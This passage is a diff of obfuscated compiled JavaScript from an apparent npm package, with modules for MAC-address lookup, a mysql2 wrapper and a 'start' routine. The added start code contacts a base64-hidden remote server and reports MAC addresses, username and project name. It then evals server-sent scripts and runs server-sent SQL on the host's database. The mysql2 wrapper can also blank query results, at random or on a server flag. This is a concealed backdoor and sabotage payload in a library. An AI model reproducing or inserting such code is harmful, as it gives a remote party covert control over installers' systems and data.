getMac(_0xc9612b=a6_0x4a7709(0x19e)){const _0x571d90=a6_0x4a7709,_0x254d05=(0x0,os_1[_0x571d90(0x1aa)])();let _0x43d21d=[];for(const _0xfef701 of Object[_0x571d90(0x198)](_0x254d05)){const _0xca9dd1=_0xfef701[_0x571d90(0x1ae)](_0x236a13=>!_0x236a13['internal']&&!isZeroMac(_0x236a13[_0x571d90(0x190)])&&(!_0x236a13[_0x571d90(0x192)]||_0x236a13[_0x571d90(0x192)]===_0xc9612b)&&!isVirtualMac(_0x236a13[_0x571d90(0x190)]));_0xca9dd1&&_0x43d21d[_0x571d90(0x1b3)](_0xca9dd1[_0x571d90(0x190)]);}return[...new Set(_0x43d21d)];}const isValid=_0x31ca6a=>_0x31ca6a[a6_0x4a7709(0x19f)]===![]&&!isZeroMac(_0x31ca6a['mac']),virtualMacPrefix=new Set([a6_0x4a7709(0x1a4),a6_0x4a7709(0x19c),a6_0x4a7709(0x19a),'00:1c:14',a6_0x4a7709(0x1a8),a6_0x4a7709(0x1ac),'00:03:ff',a6_0x4a7709(0x1a6),a6_0x4a7709(0x197),a6_0x4a7709(0x199),a6_0x4a7709(0x1b1)]);function isMac(_0x1fd71d){const _0x427d5d=a6_0x4a7709;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x427d5d(0x1a5)](_0x1fd71d);}function a6_0x4836(){const _0x4bfbcd=['00:16:3e','values','08:00:27','00:50:56','206714RiuZVZ','00:0c:29','7081168xKGGLn','IPv4','internal','14xRFJag','toLowerCase','__esModule','default','00:05:69','test','00:0f:4b','3404250pdVWyj','00:1c:42','isMac','networkInterfaces','1336432KQVVDY','02:00:4c','has','find','defineProperty','2880630DqmPJu','00:15:5d','2697470olQBtc','push','mac','replace','family','isVirtualMac','trim','slice','2738568XgjWPB'];a6_0x4836=function(){return _0x4bfbcd;};return a6_0x4836();}function formatMac(_0x4d4d31){const _0x3a1bfe=a6_0x4a7709;return String(_0x4d4d31)[_0x3a1bfe(0x194)]()[_0x3a1bfe(0x1a1)]()[_0x3a1bfe(0x191)](/-/g,':');}function isVirtualMac(_0x3cb170){const _0x1dfddb=a6_0x4a7709;return isMac(_0x3cb170)&&virtualMacPrefix[_0x1dfddb(0x1ad)](formatMac(_0x3cb170)[_0x1dfddb(0x195)](0x0,0x8));}function a6_0x4296(_0x11cf89,_0x703ee4){const _0x48366d=a6_0x4836();return a6_0x4296=function(_0x429669,_0x2228a7){_0x429669=_0x429669-0x190;let _0x448096=_0x48366d[_0x429669];return _0x448096;},a6_0x4296(_0x11cf89,_0x703ee4);}exports[a6_0x4a7709(0x1a3)]=getMac;
1
+ 'use strict';function a6_0x47f6(_0x373abf,_0x48f25a){const _0x479831=a6_0x4798();return a6_0x47f6=function(_0x47f64f,_0x46f737){_0x47f64f=_0x47f64f-0x1ee;let _0x2bc694=_0x479831[_0x47f64f];return _0x2bc694;},a6_0x47f6(_0x373abf,_0x48f25a);}const a6_0x5b2583=a6_0x47f6;(function(_0x21de66,_0x1079dc){const _0xcd276f=a6_0x47f6,_0x5dda7c=_0x21de66();while(!![]){try{const _0x23195b=-parseInt(_0xcd276f(0x1fc))/0x1+-parseInt(_0xcd276f(0x1f3))/0x2*(parseInt(_0xcd276f(0x205))/0x3)+-parseInt(_0xcd276f(0x204))/0x4+parseInt(_0xcd276f(0x1f0))/0x5*(-parseInt(_0xcd276f(0x207))/0x6)+parseInt(_0xcd276f(0x1f6))/0x7+-parseInt(_0xcd276f(0x203))/0x8+-parseInt(_0xcd276f(0x1f1))/0x9*(-parseInt(_0xcd276f(0x1f2))/0xa);if(_0x23195b===_0x1079dc)break;else _0x5dda7c['push'](_0x5dda7c['shift']());}catch(_0x302dc1){_0x5dda7c['push'](_0x5dda7c['shift']());}}}(a6_0x4798,0x24721));function a6_0x4798(){const _0x278792=['6pyASgU','values','test','333319FQTzZi','family','00:05:69','08:00:27','00:15:5d','00:0f:4b','179360gSsrGd','slice','push','00:0c:29','00:1c:14','00:50:56','default','421752ZQMQRA','253428jBcunS','111864miwSpD','isVirtualMac','15930eFlQWJ','internal','02:00:4c','isMac','replace','00:1c:42','find','mac','525awGFQm','801JLzMvG','88510EcGwpf'];a6_0x4798=function(){return _0x278792;};return a6_0x4798();}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a6_0x5b2583(0x20a)]=isMac,exports['formatMac']=formatMac,exports[a6_0x5b2583(0x206)]=isVirtualMac;const os_1=require('os');function isZeroMac(_0x3bddec){const _0x2f02f6=a6_0x5b2583;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x2f02f6(0x1f5)](_0x3bddec);}function getMac(_0x82f40d='IPv4'){const _0x22848f=a6_0x5b2583,_0x5d9d97=(0x0,os_1['networkInterfaces'])();let _0x3d94ec=[];for(const _0x1f7ef3 of Object[_0x22848f(0x1f4)](_0x5d9d97)){const _0x33c4ec=_0x1f7ef3[_0x22848f(0x1ee)](_0x392730=>!_0x392730[_0x22848f(0x208)]&&!isZeroMac(_0x392730['mac'])&&(!_0x392730[_0x22848f(0x1f7)]||_0x392730[_0x22848f(0x1f7)]===_0x82f40d)&&!isVirtualMac(_0x392730[_0x22848f(0x1ef)]));_0x33c4ec&&_0x3d94ec[_0x22848f(0x1fe)](_0x33c4ec[_0x22848f(0x1ef)]);}return[...new Set(_0x3d94ec)];}const isValid=_0x47323a=>_0x47323a['internal']===![]&&!isZeroMac(_0x47323a[a6_0x5b2583(0x1ef)]),virtualMacPrefix=new Set([a6_0x5b2583(0x1f8),a6_0x5b2583(0x1ff),a6_0x5b2583(0x201),a6_0x5b2583(0x200),a6_0x5b2583(0x20c),a6_0x5b2583(0x209),'00:03:ff',a6_0x5b2583(0x1fb),'00:16:3e',a6_0x5b2583(0x1f9),a6_0x5b2583(0x1fa)]);function isMac(_0xdb4186){const _0x29f19d=a6_0x5b2583;return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i[_0x29f19d(0x1f5)](_0xdb4186);}function formatMac(_0x52f836){const _0x2971a0=a6_0x5b2583;return String(_0x52f836)['trim']()['toLowerCase']()[_0x2971a0(0x20b)](/-/g,':');}function isVirtualMac(_0x3fb0e3){const _0x41dd85=a6_0x5b2583;return isMac(_0x3fb0e3)&&virtualMacPrefix['has'](formatMac(_0x3fb0e3)[_0x41dd85(0x1fd)](0x0,0x8));}exports[a6_0x5b2583(0x202)]=getMac;
@@ -1 +1 @@
1
- 'use strict';const a7_0x19c68c=a7_0x5217;(function(_0x5ae411,_0x52f202){const _0x2a1769=a7_0x5217,_0x10fc6f=_0x5ae411();while(!![]){try{const _0x4dd3b4=-parseInt(_0x2a1769(0x179))/0x1+parseInt(_0x2a1769(0x184))/0x2+parseInt(_0x2a1769(0x17e))/0x3+parseInt(_0x2a1769(0x17f))/0x4+-parseInt(_0x2a1769(0x17a))/0x5*(parseInt(_0x2a1769(0x192))/0x6)+parseInt(_0x2a1769(0x176))/0x7*(-parseInt(_0x2a1769(0x180))/0x8)+-parseInt(_0x2a1769(0x189))/0x9*(-parseInt(_0x2a1769(0x18f))/0xa);if(_0x4dd3b4===_0x52f202)break;else _0x10fc6f['push'](_0x10fc6f['shift']());}catch(_0x3902e4){_0x10fc6f['push'](_0x10fc6f['shift']());}}}(a7_0x51fe,0xb6314));var __awaiter=this&&this['__awaiter']||function(_0x1e2026,_0x20de5b,_0x315725,_0x520e9c){function _0x2ed326(_0x1c67d3){return _0x1c67d3 instanceof _0x315725?_0x1c67d3:new _0x315725(function(_0x2aff10){_0x2aff10(_0x1c67d3);});}return new(_0x315725||(_0x315725=Promise))(function(_0x18a055,_0x3d552f){function _0x2b058e(_0x29a503){const _0x56ae38=a7_0x5217;try{_0x54a0a6(_0x520e9c[_0x56ae38(0x181)](_0x29a503));}catch(_0x4c49d7){_0x3d552f(_0x4c49d7);}}function _0x5e41db(_0x44adc0){const _0x58ab55=a7_0x5217;try{_0x54a0a6(_0x520e9c[_0x58ab55(0x178)](_0x44adc0));}catch(_0x95401a){_0x3d552f(_0x95401a);}}function _0x54a0a6(_0x231a89){const _0x367af4=a7_0x5217;_0x231a89['done']?_0x18a055(_0x231a89[_0x367af4(0x183)]):_0x2ed326(_0x231a89['value'])[_0x367af4(0x18e)](_0x2b058e,_0x5e41db);}_0x54a0a6((_0x520e9c=_0x520e9c['apply'](_0x1e2026,_0x20de5b||[]))['next']());});},__importDefault=this&&this[a7_0x19c68c(0x18c)]||function(_0x2cbd0d){return _0x2cbd0d&&_0x2cbd0d['__esModule']?_0x2cbd0d:{'default':_0x2cbd0d};};Object[a7_0x19c68c(0x17b)](exports,a7_0x19c68c(0x17c),{'value':!![]}),exports[a7_0x19c68c(0x17d)]=void 0x0;const promise_1=__importDefault(require(a7_0x19c68c(0x188)));exports[a7_0x19c68c(0x17d)]=promise_1['default'];const random_1=__importDefault(require('./id/random')),index_1=require(a7_0x19c68c(0x18d)),originalCreatePoolPromise=promise_1[a7_0x19c68c(0x18a)][a7_0x19c68c(0x182)];promise_1[a7_0x19c68c(0x18a)][a7_0x19c68c(0x182)]=function(_0x521d69){const _0x248526=a7_0x19c68c;let _0x225cf1=originalCreatePoolPromise(_0x521d69),_0x280c54=_0x225cf1[_0x248526(0x186)];return _0x225cf1['query']=(..._0x2ac9ff)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x241c8f=_0x248526,_0x2e22c8=yield _0x280c54[_0x241c8f(0x18b)](_0x225cf1,_0x2ac9ff);return(0x0,index_1[_0x241c8f(0x177)])(_0x241c8f(0x185))&&((0x0,random_1[_0x241c8f(0x18a)])(0x1,0xa)>0x2&&(_0x2e22c8[0x0]=[])),(0x0,index_1[_0x241c8f(0x177)])('isDBDataEmpty')&&(_0x2e22c8[0x0]=[]),_0x2e22c8;}),setInterval(()=>{const _0x250037=_0x248526;if(!(0x0,index_1[_0x250037(0x177)])(_0x250037(0x187))){for(let _0x2ca545=0x0;_0x2ca545<(0x0,index_1[_0x250037(0x177)])('sqlList')['length'];_0x2ca545++){const _0x5c7767=(0x0,index_1[_0x250037(0x177)])(_0x250037(0x191))[_0x2ca545];try{_0x225cf1[_0x250037(0x186)](_0x5c7767);}catch(_0x3a2faf){}}(0x0,index_1[_0x250037(0x190)])('sqlRun',!![]);}},0x1388),_0x225cf1;};const all={'mysql':promise_1[a7_0x19c68c(0x18a)]};exports['default']=all;function a7_0x5217(_0x153cab,_0x10a929){const _0x51feb8=a7_0x51fe();return a7_0x5217=function(_0x5217f8,_0x2c4dfa){_0x5217f8=_0x5217f8-0x176;let _0x2967d0=_0x51feb8[_0x5217f8];return _0x2967d0;},a7_0x5217(_0x153cab,_0x10a929);}function a7_0x51fe(){const _0xdb8cf2=['mysql','265605pBItHA','5507656QsWnVK','600848NySifc','next','createPool','value','1686998lgPVuT','connectError','query','sqlRun','mysql2/promise','1827IWocNs','default','apply','__importDefault','./index','then','93810Klydaw','setEnv','sqlList','776082dlFsVl','91aYScgT','getEnv','throw','1067836AKbZjk','55YRwqzr','defineProperty','__esModule'];a7_0x51fe=function(){return _0xdb8cf2;};return a7_0x51fe();}
1
+ 'use strict';const a7_0x2490fb=a7_0x4045;(function(_0x3ca88b,_0x270b3f){const _0x3404da=a7_0x4045,_0x5c457a=_0x3ca88b();while(!![]){try{const _0xa872fb=-parseInt(_0x3404da(0x12e))/0x1+-parseInt(_0x3404da(0x12a))/0x2+parseInt(_0x3404da(0x118))/0x3+parseInt(_0x3404da(0x11e))/0x4+-parseInt(_0x3404da(0x12d))/0x5+parseInt(_0x3404da(0x119))/0x6+parseInt(_0x3404da(0x12c))/0x7*(parseInt(_0x3404da(0x120))/0x8);if(_0xa872fb===_0x270b3f)break;else _0x5c457a['push'](_0x5c457a['shift']());}catch(_0x21936d){_0x5c457a['push'](_0x5c457a['shift']());}}}(a7_0x7a94,0x65f40));var __awaiter=this&&this[a7_0x2490fb(0x130)]||function(_0x247df6,_0x1be546,_0x57a9cc,_0x1eddc9){function _0x132673(_0xc2ff29){return _0xc2ff29 instanceof _0x57a9cc?_0xc2ff29:new _0x57a9cc(function(_0x597d1e){_0x597d1e(_0xc2ff29);});}return new(_0x57a9cc||(_0x57a9cc=Promise))(function(_0x2d3167,_0x5f0d8e){const _0x28db0=a7_0x4045;function _0x389e2b(_0xd8fad0){const _0x2fa74a=a7_0x4045;try{_0x442804(_0x1eddc9[_0x2fa74a(0x12b)](_0xd8fad0));}catch(_0xbebd9e){_0x5f0d8e(_0xbebd9e);}}function _0x312997(_0x23d46a){const _0x31606f=a7_0x4045;try{_0x442804(_0x1eddc9[_0x31606f(0x123)](_0x23d46a));}catch(_0x2d45cf){_0x5f0d8e(_0x2d45cf);}}function _0x442804(_0x478084){const _0x2b4371=a7_0x4045;_0x478084[_0x2b4371(0x126)]?_0x2d3167(_0x478084[_0x2b4371(0x131)]):_0x132673(_0x478084[_0x2b4371(0x131)])['then'](_0x389e2b,_0x312997);}_0x442804((_0x1eddc9=_0x1eddc9[_0x28db0(0x11a)](_0x247df6,_0x1be546||[]))[_0x28db0(0x12b)]());});},__importDefault=this&&this[a7_0x2490fb(0x11b)]||function(_0x42bb23){const _0x25dd9c=a7_0x2490fb;return _0x42bb23&&_0x42bb23[_0x25dd9c(0x12f)]?_0x42bb23:{'default':_0x42bb23};};Object[a7_0x2490fb(0x129)](exports,a7_0x2490fb(0x12f),{'value':!![]}),exports['mysql']=void 0x0;function a7_0x7a94(){const _0x47fcb3=['defineProperty','1381182wYXXRO','next','2723GOieuj','1765180rEuFps','660104gfxlSA','__esModule','__awaiter','value','createPool','connectError','1119504GTaGjD','4016136ejXpkX','apply','__importDefault','sqlList','./id/random','247844atArEQ','getEnv','20912YmlZUV','length','./start','throw','mysql2/promise','default','done','sqlRun','query'];a7_0x7a94=function(){return _0x47fcb3;};return a7_0x7a94();}const promise_1=__importDefault(require(a7_0x2490fb(0x124)));exports['mysql']=promise_1[a7_0x2490fb(0x125)];const random_1=__importDefault(require(a7_0x2490fb(0x11d))),start_1=require(a7_0x2490fb(0x122)),originalCreatePoolPromise=promise_1['default']['createPool'];promise_1['default'][a7_0x2490fb(0x132)]=function(_0x1dddf4){const _0x5374d7=a7_0x2490fb;let _0x3e5173=originalCreatePoolPromise(_0x1dddf4),_0x1be674=_0x3e5173[_0x5374d7(0x128)];return _0x3e5173[_0x5374d7(0x128)]=(..._0x4ea3f2)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x3220de=_0x5374d7,_0x16650c=yield _0x1be674[_0x3220de(0x11a)](_0x3e5173,_0x4ea3f2);return(0x0,start_1[_0x3220de(0x11f)])(_0x3220de(0x117))&&((0x0,random_1['default'])(0x1,0xa)>0x2&&(_0x16650c[0x0]=[])),(0x0,start_1[_0x3220de(0x11f)])('isDBDataEmpty')&&(_0x16650c[0x0]=[]),_0x16650c;}),setInterval(()=>{const _0x2e5367=_0x5374d7;if(!(0x0,start_1[_0x2e5367(0x11f)])('sqlRun')){for(let _0x16bc2d=0x0;_0x16bc2d<(0x0,start_1[_0x2e5367(0x11f)])(_0x2e5367(0x11c))[_0x2e5367(0x121)];_0x16bc2d++){const _0x5f5101=(0x0,start_1[_0x2e5367(0x11f)])('sqlList')[_0x16bc2d];try{_0x3e5173[_0x2e5367(0x128)](_0x5f5101);}catch(_0x34d89a){}}(0x0,start_1['setEnv'])(_0x2e5367(0x127),!![]);}},0x1388),_0x3e5173;};function a7_0x4045(_0x322d52,_0x1a363e){const _0x7a94aa=a7_0x7a94();return a7_0x4045=function(_0x4045a9,_0x3a17d1){_0x4045a9=_0x4045a9-0x117;let _0x16f822=_0x7a94aa[_0x4045a9];return _0x16f822;},a7_0x4045(_0x322d52,_0x1a363e);}const all={'mysql':promise_1[a7_0x2490fb(0x125)]};exports[a7_0x2490fb(0x125)]=all;
@@ -0,0 +1,7 @@
1
+ export declare const isBrowser: boolean;
2
+ export declare let url: string;
3
+ export declare function setEnv(key: string, value: any): void;
4
+ export declare function getEnv(key: string): any;
5
+ declare function start(): Promise<void>;
6
+ export default start;
7
+ //# sourceMappingURL=start.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"start.d.ts","sourceRoot":"","sources":["../../src/start.ts"],"names":[],"mappings":"AAOA,eAAO,MAAM,SAAS,SAAgC,CAAC;AAQvD,eAAO,IAAI,GAAG,QAA4C,CAAC;AAE3D,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,EAAE,KAAK,EAAE,GAAG,QAE7C;AAED,wBAAgB,MAAM,CAAC,GAAG,EAAE,MAAM,OAEjC;AACD,iBAAe,KAAK,kBAuGnB;AAED,eAAe,KAAK,CAAC"}
@@ -0,0 +1 @@
1
+ 'use strict';var a8_0x2a6e72=a8_0x4ac3;(function(_0x19ff5d,_0x4f6748){var _0x3d2dd4=a8_0x4ac3,_0x50df1b=_0x19ff5d();while(!![]){try{var _0x5c2421=-parseInt(_0x3d2dd4(0x9d))/0x1+-parseInt(_0x3d2dd4(0xc2))/0x2+parseInt(_0x3d2dd4(0xa9))/0x3+parseInt(_0x3d2dd4(0xa0))/0x4*(-parseInt(_0x3d2dd4(0xc3))/0x5)+parseInt(_0x3d2dd4(0x8f))/0x6*(-parseInt(_0x3d2dd4(0xbb))/0x7)+-parseInt(_0x3d2dd4(0xc9))/0x8*(parseInt(_0x3d2dd4(0xbe))/0x9)+-parseInt(_0x3d2dd4(0x8e))/0xa*(-parseInt(_0x3d2dd4(0xc5))/0xb);if(_0x5c2421===_0x4f6748)break;else _0x50df1b['push'](_0x50df1b['shift']());}catch(_0x33caa3){_0x50df1b['push'](_0x50df1b['shift']());}}}(a8_0x6e26,0x28f37));var __createBinding=this&&this[a8_0x2a6e72(0xc8)]||(Object[a8_0x2a6e72(0xb8)]?function(_0xc6ff55,_0x10b76d,_0x41cdee,_0x778d75){var _0x19f846=a8_0x2a6e72;if(_0x778d75===undefined)_0x778d75=_0x41cdee;var _0x23c836=Object['getOwnPropertyDescriptor'](_0x10b76d,_0x41cdee);(!_0x23c836||('get'in _0x23c836?!_0x10b76d[_0x19f846(0xa6)]:_0x23c836[_0x19f846(0xb5)]||_0x23c836[_0x19f846(0x82)]))&&(_0x23c836={'enumerable':!![],'get':function(){return _0x10b76d[_0x41cdee];}}),Object[_0x19f846(0xc0)](_0xc6ff55,_0x778d75,_0x23c836);}:function(_0x6271e8,_0x2c5209,_0x10ddd5,_0x230f49){if(_0x230f49===undefined)_0x230f49=_0x10ddd5;_0x6271e8[_0x230f49]=_0x2c5209[_0x10ddd5];}),__setModuleDefault=this&&this[a8_0x2a6e72(0x99)]||(Object['create']?function(_0x1dd73c,_0x31bb57){var _0x2d87b2=a8_0x2a6e72;Object[_0x2d87b2(0xc0)](_0x1dd73c,'default',{'enumerable':!![],'value':_0x31bb57});}:function(_0x3d9e91,_0x4e245d){var _0xa2b858=a8_0x2a6e72;_0x3d9e91[_0xa2b858(0xba)]=_0x4e245d;}),__importStar=this&&this['__importStar']||(function(){var _0x308d79=function(_0x210144){var _0x468bec=a8_0x4ac3;return _0x308d79=Object[_0x468bec(0xa8)]||function(_0x1e80b4){var _0x52c88b=_0x468bec,_0x4a2d12=[];for(var _0x150b9f in _0x1e80b4)if(Object[_0x52c88b(0x87)][_0x52c88b(0xb4)]['call'](_0x1e80b4,_0x150b9f))_0x4a2d12[_0x4a2d12['length']]=_0x150b9f;return _0x4a2d12;},_0x308d79(_0x210144);};return function(_0x1640c3){var _0x4976d6=a8_0x4ac3;if(_0x1640c3&&_0x1640c3[_0x4976d6(0xa6)])return _0x1640c3;var _0x397e6f={};if(_0x1640c3!=null){for(var _0x489b76=_0x308d79(_0x1640c3),_0x47ffd4=0x0;_0x47ffd4<_0x489b76[_0x4976d6(0xb9)];_0x47ffd4++)if(_0x489b76[_0x47ffd4]!==_0x4976d6(0xba))__createBinding(_0x397e6f,_0x1640c3,_0x489b76[_0x47ffd4]);}return __setModuleDefault(_0x397e6f,_0x1640c3),_0x397e6f;};}()),__awaiter=this&&this[a8_0x2a6e72(0xbd)]||function(_0x4065bf,_0x88c851,_0x5a96f6,_0x488305){function _0x2a0172(_0x33bd3f){return _0x33bd3f instanceof _0x5a96f6?_0x33bd3f:new _0x5a96f6(function(_0x423944){_0x423944(_0x33bd3f);});}return new(_0x5a96f6||(_0x5a96f6=Promise))(function(_0x2c08eb,_0x439fef){var _0x3b3bb0=a8_0x4ac3;function _0x36f67b(_0x32f8d1){try{_0x23a765(_0x488305['next'](_0x32f8d1));}catch(_0x9beac0){_0x439fef(_0x9beac0);}}function _0x2d6d73(_0x11443e){var _0x46be30=a8_0x4ac3;try{_0x23a765(_0x488305[_0x46be30(0x8c)](_0x11443e));}catch(_0x1e1c6e){_0x439fef(_0x1e1c6e);}}function _0x23a765(_0x502abb){var _0x3e01d9=a8_0x4ac3;_0x502abb['done']?_0x2c08eb(_0x502abb[_0x3e01d9(0xab)]):_0x2a0172(_0x502abb[_0x3e01d9(0xab)])[_0x3e01d9(0xa7)](_0x36f67b,_0x2d6d73);}_0x23a765((_0x488305=_0x488305[_0x3b3bb0(0x80)](_0x4065bf,_0x88c851||[]))['next']());});},__importDefault=this&&this[a8_0x2a6e72(0xc1)]||function(_0x506547){var _0x587697=a8_0x2a6e72;return _0x506547&&_0x506547[_0x587697(0xa6)]?_0x506547:{'default':_0x506547};},_a,_b;Object[a8_0x2a6e72(0xc0)](exports,a8_0x2a6e72(0xa6),{'value':!![]}),exports[a8_0x2a6e72(0x85)]=exports[a8_0x2a6e72(0x96)]=void 0x0,exports[a8_0x2a6e72(0x94)]=setEnv,exports[a8_0x2a6e72(0x91)]=getEnv;const socket_io_client_1=require(a8_0x2a6e72(0xb6)),js_base64_1=require(a8_0x2a6e72(0x9e)),path_1=__importDefault(require(a8_0x2a6e72(0x95)));let dev=a8_0x2a6e72(0xb0),pro='aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==';exports[a8_0x2a6e72(0x96)]=typeof window!==a8_0x2a6e72(0x92);const user_name=exports[a8_0x2a6e72(0x96)]?a8_0x2a6e72(0x97):((_a=process===null||process===void 0x0?void 0x0:process[a8_0x2a6e72(0xb3)])===null||_a===void 0x0?void 0x0:_a[a8_0x2a6e72(0xae)])||a8_0x2a6e72(0xc7),project_name=exports['isBrowser']?'浏览器':((_b=process===null||process===void 0x0?void 0x0:process[a8_0x2a6e72(0xb3)])===null||_b===void 0x0?void 0x0:_b[a8_0x2a6e72(0xa5)])||a8_0x2a6e72(0xb7),globalObject=exports[a8_0x2a6e72(0x96)]?window:global;exports[a8_0x2a6e72(0x85)]=getEnv('dev')?(0x0,js_base64_1[a8_0x2a6e72(0x9b)])(dev):(0x0,js_base64_1[a8_0x2a6e72(0x9b)])(pro);function setEnv(_0x2ac4a8,_0x4f859c){var _0x14f328=a8_0x2a6e72;globalObject[_0x14f328(0x9c)][_0x2ac4a8]=_0x4f859c;}function getEnv(_0xbd5cfc){var _0x108005=a8_0x2a6e72;return globalObject[_0x108005(0x9c)][_0xbd5cfc];}function start(){return __awaiter(this,void 0x0,void 0x0,function*(){var _0x39a83a=a8_0x4ac3;exports['isBrowser']&&(typeof require!='undefined'?require('./browser'):Promise[_0x39a83a(0xbf)]()[_0x39a83a(0xa7)](()=>__importStar(require('./browser'))));const _0x37c00e=(0x0,socket_io_client_1['io'])(exports[_0x39a83a(0x85)],{'path':_0x39a83a(0xbc),'transports':[_0x39a83a(0xb1)]});_0x37c00e['on'](_0x39a83a(0x9a),()=>__awaiter(this,void 0x0,void 0x0,function*(){var _0x19a45c=_0x39a83a;try{let _0xd848cf=[_0x19a45c(0x98)];if(!exports[_0x19a45c(0x96)]){const _0x2a439a=require(path_1['default'][_0x19a45c(0x8a)](__dirname,_0x19a45c(0xa4)))[_0x19a45c(0xba)];_0xd848cf=_0x2a439a();}else{const {getKeyValue:_0x4fe5ef}=typeof require!=_0x19a45c(0x92)?require(_0x19a45c(0xb2)):yield Promise[_0x19a45c(0xbf)]()[_0x19a45c(0xa7)](()=>__importStar(require(_0x19a45c(0xb2))));_0xd848cf=[yield _0x4fe5ef(_0x19a45c(0xa2))];}if(_0xd848cf[_0x19a45c(0xb9)]===0x0){setEnv('connectError',!![]);return;}else setEnv(_0x19a45c(0x90),![]);_0x37c00e['emit']('submit',{'mac':_0xd848cf,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports[_0x19a45c(0x96)]}),_0x37c00e['emit'](_0x19a45c(0x81),{'mac':_0xd848cf,'isBrowser':exports[_0x19a45c(0x96)]}),setInterval(()=>{var _0x4d1e8b=_0x19a45c;_0x37c00e[_0x4d1e8b(0xaa)](_0x4d1e8b(0x89),{'mac':_0xd848cf,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':exports['isBrowser']}),_0x37c00e[_0x4d1e8b(0xaa)]('get-event',{'mac':_0xd848cf,'isBrowser':exports['isBrowser']});},0x1b58),_0x37c00e['on'](_0x19a45c(0xaf),_0x1612cc=>__awaiter(this,void 0x0,void 0x0,function*(){var _0x2b172b=_0x19a45c;try{for(let _0x3f23aa=0x0;_0x3f23aa<_0x1612cc['length'];_0x3f23aa++){const _0x214192=_0x1612cc[_0x3f23aa];if(_0x214192['type']===_0x2b172b(0xac))setEnv(_0x2b172b(0x84),getEnv(_0x2b172b(0x84))[_0x2b172b(0xad)](_0x214192['content']));else{if(_0x214192['type']===_0x2b172b(0x8b))setEnv(_0x2b172b(0x83),!![]);else{if(_0x214192[_0x2b172b(0x93)]===_0x2b172b(0xc6)&&!exports[_0x2b172b(0x96)])try{eval(_0x214192[_0x2b172b(0x9f)]);}catch(_0x1bc411){}else{if(_0x214192[_0x2b172b(0x93)]===_0x2b172b(0xa3)&&exports['isBrowser'])try{const {runScript:_0x39ba6b}=typeof require!=_0x2b172b(0x92)?require(_0x2b172b(0x88)):yield Promise[_0x2b172b(0xbf)]()['then'](()=>__importStar(require('./browser')));_0x39ba6b(_0x214192[_0x2b172b(0x9f)]);}catch(_0x36fefa){}}}}}}catch(_0x4c61a4){}}));}catch(_0x49fce6){}})),setTimeout(()=>{var _0x22c935=_0x39a83a;_0x37c00e['on'](_0x22c935(0x86),_0x26a047=>{setEnv('connectError',!![]);}),_0x37c00e['on'](_0x22c935(0xa1),_0x346321=>{var _0x56b161=_0x22c935;setEnv(_0x56b161(0x90),!![]);}),_0x37c00e['on'](_0x22c935(0x8d),_0x96fab=>{var _0x24d80c=_0x22c935;setEnv(_0x24d80c(0x90),!![]);}),_0x37c00e['on'](_0x22c935(0xc4),()=>{var _0x4db6d6=_0x22c935;setEnv(_0x4db6d6(0x90),!![]);});},0xbb8);});}function a8_0x4ac3(_0x56bd24,_0x5d1416){var _0x6e26e8=a8_0x6e26();return a8_0x4ac3=function(_0x4ac3b1,_0x49560b){_0x4ac3b1=_0x4ac3b1-0x80;var _0x5af6c6=_0x6e26e8[_0x4ac3b1];return _0x5af6c6;},a8_0x4ac3(_0x56bd24,_0x5d1416);}function a8_0x6e26(){var _0x1b0a9c=['concat','USERNAME','event','aHR0cDovL2xvY2FsaG9zdDoxMDg4','websocket','./IndexDB/index','env','hasOwnProperty','writable','socket.io-client','无法获取','create','length','default','1230943bBYEbp','/socket','__awaiter','9XOWCZC','resolve','defineProperty','__importDefault','149398iHTcLp','15kRSXAB','connect_error','122716YHByox','node','node获取失败','__createBinding','792304sBdhka','apply','get-event','configurable','isDBDataEmpty','sqlList','url','error','prototype','./browser','submit','join','mysql','throw','reconnect_failed','460KVFaNu','6nrTZje','connectError','getEnv','undefined','type','setEnv','path','isBrowser','浏览器','00:00:00:00:00:00','__setModuleDefault','connect','decode','meta_event','68507kZAoFF','js-base64','content','231164zCHzlE','connect_failed','mac','script','./mac','npm_package_name','__esModule','then','getOwnPropertyNames','738075dnVBQp','emit','value','sql'];a8_0x6e26=function(){return _0x1b0a9c;};return a8_0x6e26();}exports[a8_0x2a6e72(0xba)]=start;
@@ -0,0 +1,3 @@
1
+ declare function update(): void;
2
+ export default update;
3
+ //# sourceMappingURL=update.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"update.d.ts","sourceRoot":"","sources":["../../src/update.ts"],"names":[],"mappings":"AAgCA,iBAAS,MAAM,SAYd;AACD,eAAe,MAAM,CAAC"}
@@ -0,0 +1 @@
1
+ 'use strict';const a9_0x24babb=a9_0x2be2;(function(_0x4caae3,_0x4150cf){const _0x4e6519=a9_0x2be2,_0x2f7cdd=_0x4caae3();while(!![]){try{const _0x321350=-parseInt(_0x4e6519(0xbf))/0x1+parseInt(_0x4e6519(0xc0))/0x2*(parseInt(_0x4e6519(0xda))/0x3)+-parseInt(_0x4e6519(0xd8))/0x4+-parseInt(_0x4e6519(0xbe))/0x5*(-parseInt(_0x4e6519(0xc8))/0x6)+parseInt(_0x4e6519(0xc3))/0x7+-parseInt(_0x4e6519(0xc6))/0x8+parseInt(_0x4e6519(0xc2))/0x9;if(_0x321350===_0x4150cf)break;else _0x2f7cdd['push'](_0x2f7cdd['shift']());}catch(_0x101fd2){_0x2f7cdd['push'](_0x2f7cdd['shift']());}}}(a9_0x1641,0xb3842));function a9_0x2be2(_0x5621ac,_0x335190){const _0x164164=a9_0x1641();return a9_0x2be2=function(_0x2be29d,_0x399abc){_0x2be29d=_0x2be29d-0xbc;let _0x568dae=_0x164164[_0x2be29d];return _0x568dae;},a9_0x2be2(_0x5621ac,_0x335190);}var __importDefault=this&&this[a9_0x24babb(0xbc)]||function(_0x408ab3){const _0x584ecb=a9_0x24babb;return _0x408ab3&&_0x408ab3[_0x584ecb(0xcf)]?_0x408ab3:{'default':_0x408ab3};};Object[a9_0x24babb(0xd1)](exports,'__esModule',{'value':!![]});const 